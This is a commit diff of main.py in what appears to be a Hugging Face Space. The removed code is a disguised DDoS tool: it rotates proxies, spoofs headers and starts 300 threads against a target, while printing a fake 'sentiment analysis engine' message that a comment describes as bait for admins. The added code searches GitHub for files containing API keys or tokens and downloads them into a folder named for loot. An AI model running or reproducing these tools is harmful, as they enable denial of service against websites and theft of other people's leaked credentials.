Spaces:
Configuration error
Configuration error
Update main.py
Browse files
main.py
CHANGED
|
@@ -1,48 +1,40 @@
|
|
| 1 |
import requests
|
| 2 |
-
import
|
| 3 |
-
import
|
| 4 |
-
import time
|
| 5 |
|
| 6 |
-
|
| 7 |
-
|
|
|
|
| 8 |
|
| 9 |
-
|
| 10 |
-
|
| 11 |
-
r = requests.get("https://api.proxyscrape.com")
|
| 12 |
-
return r.text.splitlines()
|
| 13 |
-
except:
|
| 14 |
-
return ["103.152.112.162:80", "43.159.28.24:80"]
|
| 15 |
|
| 16 |
-
|
| 17 |
-
|
| 18 |
-
|
| 19 |
-
|
| 20 |
-
|
| 21 |
-
|
| 22 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 23 |
|
| 24 |
-
|
| 25 |
-
|
| 26 |
-
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36',
|
| 27 |
-
'Referer': 'https://www.google.com',
|
| 28 |
-
'X-Forwarded-For': f'{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}'
|
| 29 |
-
}
|
| 30 |
|
| 31 |
-
|
| 32 |
-
requests.get(TARGET, headers=headers, proxies=proxy, timeout=2)
|
| 33 |
-
# Log minimalis biar nggak menuhin storage Hugging Face
|
| 34 |
-
print(f"[+] Ghost Signal Sent via {p_addr}")
|
| 35 |
|
| 36 |
-
|
| 37 |
-
|
| 38 |
-
|
| 39 |
-
# --- AKTIVASI 300 AGEN GHOST ---
|
| 40 |
-
print("[*] INITIALIZING SENTIMENT ANALYSIS ENGINE...") # Umpan buat admin
|
| 41 |
-
for i in range(300):
|
| 42 |
-
t = threading.Thread(target=ghost_attack)
|
| 43 |
-
t.daemon = True
|
| 44 |
-
t.start()
|
| 45 |
-
time.sleep(0.005)
|
| 46 |
|
| 47 |
-
|
| 48 |
-
|
|
|
|
| 1 |
import requests
|
| 2 |
+
import os
|
| 3 |
+
import base64
|
|
|
|
| 4 |
|
| 5 |
+
GITHUB_TOKEN = "MASUKIN_TOKEN_LO_DISINI"
|
| 6 |
+
QUERY = 'vapi.exoliner.wtf "api_key" OR "token"'
|
| 7 |
+
SAVE_DIR = "hasil_jarahan"
|
| 8 |
|
| 9 |
+
if not os.path.exists(SAVE_DIR):
|
| 10 |
+
os.makedirs(SAVE_DIR)
|
|
|
|
|
|
|
|
|
|
|
|
|
| 11 |
|
| 12 |
+
def download_and_scan():
|
| 13 |
+
url = f"https://api.github.com{QUERY}"
|
| 14 |
+
headers = {"Authorization": f"token {GITHUB_TOKEN}"}
|
| 15 |
+
|
| 16 |
+
res = requests.get(url, headers=headers).json()
|
| 17 |
+
items = res.get('items', [])
|
| 18 |
+
|
| 19 |
+
print(f"[*] Ditemukan {len(items)} file. Mulai download...")
|
| 20 |
+
|
| 21 |
+
for i, item in enumerate(items):
|
| 22 |
+
file_url = item['url'] # API URL buat dapet isi file
|
| 23 |
+
file_res = requests.get(file_url, headers=headers).json()
|
| 24 |
+
|
| 25 |
+
# GitHub API ngasih konten dalam bentuk Base64
|
| 26 |
+
if 'content' in file_res:
|
| 27 |
+
content = base64.b64decode(file_res['content']).decode('utf-8', errors='ignore')
|
| 28 |
+
file_name = f"file_{i}_{item['name']}.txt"
|
| 29 |
|
| 30 |
+
with open(os.path.join(SAVE_DIR, file_name), "w", encoding="utf-8") as f:
|
| 31 |
+
f.write(content)
|
|
|
|
|
|
|
|
|
|
|
|
|
| 32 |
|
| 33 |
+
print(f"[+] Downloaded: {file_name}")
|
|
|
|
|
|
|
|
|
|
| 34 |
|
| 35 |
+
# Auto-scan sederhana
|
| 36 |
+
if "key" in content.lower() or "token" in content.lower():
|
| 37 |
+
print(f" [!!!] ADA POTENSI TOKEN DI FILE INI!")
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 38 |
|
| 39 |
+
if __name__ == "__main__":
|
| 40 |
+
download_and_scan()
|